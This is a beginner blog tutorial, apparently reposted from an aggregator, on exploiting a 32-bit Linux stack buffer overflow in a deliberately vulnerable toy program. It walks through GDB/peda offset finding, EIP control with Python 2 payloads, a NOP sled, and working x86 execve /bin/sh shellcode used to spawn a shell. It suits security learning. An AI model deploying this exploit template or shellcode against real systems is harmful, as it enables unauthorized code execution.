Linux Exploitation: Stack Smashing

4 months ago 25
BOOK THIS SPACE FOR AD
ARTICLE AD

Boogsta

Hey there, so it’s been a while and I have decided to dedicate the next few posts to binary exploitation, specifically, linux binaries. This first one will introduce to you the concept of “Stack Smashing” which is another word for a buffer overflow. I will assume you have a basic understanding of python, C/C++ and also assembly and reverse engineering for this blog however I will also try and touch on everything as best I can to keep this beginner friendly.

If you want to reach out to me follow my Twitter

https://twitter.com/0xwarlok

The stack is an area of memory within a process that is used by the process to save data. The stack is also used to track the execution of a program. During a new function call, the last address before the function call is stored on the stack. This is called a return address because this is where the program will return once execution has finished. It is also important to note that the stack is 4 byte aligned. All this might sound confusing right now but will make more sense as we dive later into a practical example.

Linux binaries are commonly created using C and C++. As you may or may not be aware these two languages are highly susceptible to buffer overflow attacks and stack overflow attacks.

So I know I keep mentioning buffer and stack overflows, but what exactly is it? Well I’ll use a little example, say you have a bath tub and you start running the bath and you go away to go cook a pizza. The water will still keep flowing into the bath tub and eventually the bath will overflow and cause leaks and flooding to the bathroom and maybe even other rooms. Now, we learn from our mistake and insert a drain onto the bath so that the water can be controlled and pointed to a drainage system of our choosing. This is essentially a stack/buffer overflow where a user supplies data to a program and the buffer cannot handle the data and causes a crash, this crash being our leaking water and then we point the EIP register, our drain, to a different area of memory which will then be executed.

Let’s have a quick look at some code to see what we would potentially be looking for in this scenario.

int vuln(){
char buffer[500];
int user_data;
user_input = read(0, buffer, 700);
return 0;
}

As you can see, the buffer size is 500 bytes but the program is reading 700 bytes of data which will cause our buffer to overflow. So where do we go from here? We need to throw this program into a debugger and analyses what will happen and how it all crashes.

We are going to use a debugger called GDB and a plugin called peda. Both of these are powerful when it comes to binex however plugin preference is down to the researcher.

GDB usually comes preinstalled with Kali but the peda plugin can be found on github here:

https://github.com/longld/peda

To start GDB you can type the following

gdb vuln

Replace vuln with the name of your binary. Once inside you should get a screen that looks similar to this.

Both GDB and peda come with some cool features, I won’t go everything but for now it’s good to understand and know that there is two called pattern create and pattern offset. Pattern create will create a string of characters that we will throw at the program and pattern offset will calculate how may bytes it too to overflow the buffer. For those with some binex experience you will know that Metasploit has this feature too.

To use pattern create we supply GDB with the following command

pattern create 1000

This will create a string of characters that we will use later to run against the program to see if we can overflow the buffer.

Now we need to run this file against the binary, we can do this again simply by typing

run '<pattern'

If our binary is vulnerable it will crash and we will then get a address in peda, which can also be seen in the EIP register, where we can then use pattern offset to find out how many bytes it took to overflow the buffer. To do this we simply do

pattern offset 0x01020304

There is a few more commands in gdb we have not looked at yet, this is the info registers and info functions both of these will get information about the registers and function. Literally as the name suggests. We can also inspect addresses with the command

x/s 0x01020304

We can also inspect the next functions to be executed by the application by supply gdb with

x/10i 0x01020304

This will inspect the next 10 instructions from the address 0x01020304 you can also supply it registers too with

x/10i $esp

Finally we can print out a certain number of 32-bit words as hex strings by supplying

x/10wx 0x01020304

You can again also supply it with a register by replacing 0x01020304 with $esp

Now lets have a look what this looks like practically. I’ve already loaded up the target binary in GDB.

Creating our pattern of 500 (sorry it’s so small)
After running run ‘<pattern>’

As you can see we now have caused a crash in our binary and in the bottom line we can see 0x5a254177 in ?? () we can also see our EIP register reads the same address. We now can use this to calculate the amount of bytes we need to overflow the buffer

Perfect now we know we can overflow the buffer with 390 bytes. But we need to see if we can control the EIP register and insert our own value, to do this we will create a simple python script

buf = 'A'*390
buf += 'BBBB'

print buf

Note this is python 2, but what are we looking to do? We want to see if we can control the EIP, so we are creating a string of characters that has 390 A’s and then 4 B’s. If we run this against the binary, we should see 0x42424242 in our EIP register.

There is two ways we can run this. Firstly, we can run python2 exploit.py and copy and paste the string it gives us and then supply gdb with run '<string>' or we could supply gdb with

run `python2 exploit.py`

I will be using the second option but both will have the exact same output. Once we run this we will see the following

As you can see the EIP reads 0x42424242 which means we have full control of the EIP register and can start to point the binary where we would like. We can now make use of the x/24wx command and inspect the stack.

As you can see here is all our A’s represented by the 0x41414141 we will now use this to create our exploit. We will take the address 0xffffd180 and insert it into our exploit. This is what our exploit will now look like. It’s changed a little but I will explain it now

shell = '\xcc'

buf = '\x90'*50
buf += shell
buf += 'A'*(390-50-len(shell))
buf += '\x80\xd1\xff\xff'

print buf

So we have a variable of shell this is our placeholder. We then have our buf variable that has the value of \x90 which is basically a NOP which stands for No Operation, this essentially will just act as a form of padding for our shellcode later to run. We then add the shell variable to our buffer and then our A’s as junk. But we also minus 50 from our offset value and the length of the shellcode, why? Because if we didn’t do this we would cause another buffer overflow. We finally then have a value of \x80\xd1\xff\xff this is the address 0xffffd180 but wrote backwards to ensure we comply with little endian.

Running this we will see if we inspect the x/40i $eip+0x20 the following

Now if we run this in gdb we can get a shell and it’s exploited right? Wrong, the gdb environment is actually set up differently to the binary so we need to find another address we first need to type

ulimit -c unlimited

Into our terminal so we can create our core file. Also copy the binary with the command

cp ./vuln vuln2

We then run the exploit against the binary with the command

./vuln2 `python2 exploit.py`

This will create a core file we can then analyze in gdb we do this with

gdb ./vuln2 ./core

Once in gdb you will see that we get a SIGSEGV fault

This means basically we can’t read/write to or from that location so we need another address. If we inspect the stack again we see the address we jumped too isn’t valid this is why we are getting our error.

We now will try a higher address to see if we can execute execute our shell there such as 0xffffd210. We also need to add our shell code and replace our shell variable with

"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80"

Once we have done his we now need to run our exploit again against our binary with the following command

./vuln `python2 exploit.py`
Shell!

As you can now see we have a root shell and you just exploited the binary. This was a basic stack overflow. In the wild this usually isn’t as simple to exploit due to mitigations such as ASLR, NX etc. In other blogs I will be going over these and how to also bypass them.

Thanks for reading

Read Entire Article